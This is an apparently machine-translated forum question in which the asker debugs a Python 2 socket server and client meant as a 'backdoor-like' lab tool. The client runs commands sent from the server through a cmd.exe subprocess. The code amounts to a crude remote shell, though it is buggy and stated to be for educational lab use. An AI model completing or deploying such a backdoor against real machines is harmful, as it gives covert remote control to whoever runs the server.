我有两个与套接字通信的 python 文件。当我将数据传递给 stdin.write 时,出现错误 22 无效参数。编码
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
更新 OK 基本上我想在网络实验室内的 localhost 中在系统上创建类似后门的东西。这是出于教育目的。我有两台机器。1)正在运行ubuntu,我在服务器上有这段代码:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
为客户提供以下代码:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
并且错误在客户端文件中
Traceback(最近一次调用最后一次):文件“ex1client2.py”,第 50 行,在 proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file
基本上我想从服务器运行串行命令到客户端并将输出返回到服务器。执行第一个命令,第二个命令我收到此错误消息。导致我找到这个解决方案的主要问题是 chanhing directory 命令。当我执行 cd "path" 时它不会改变。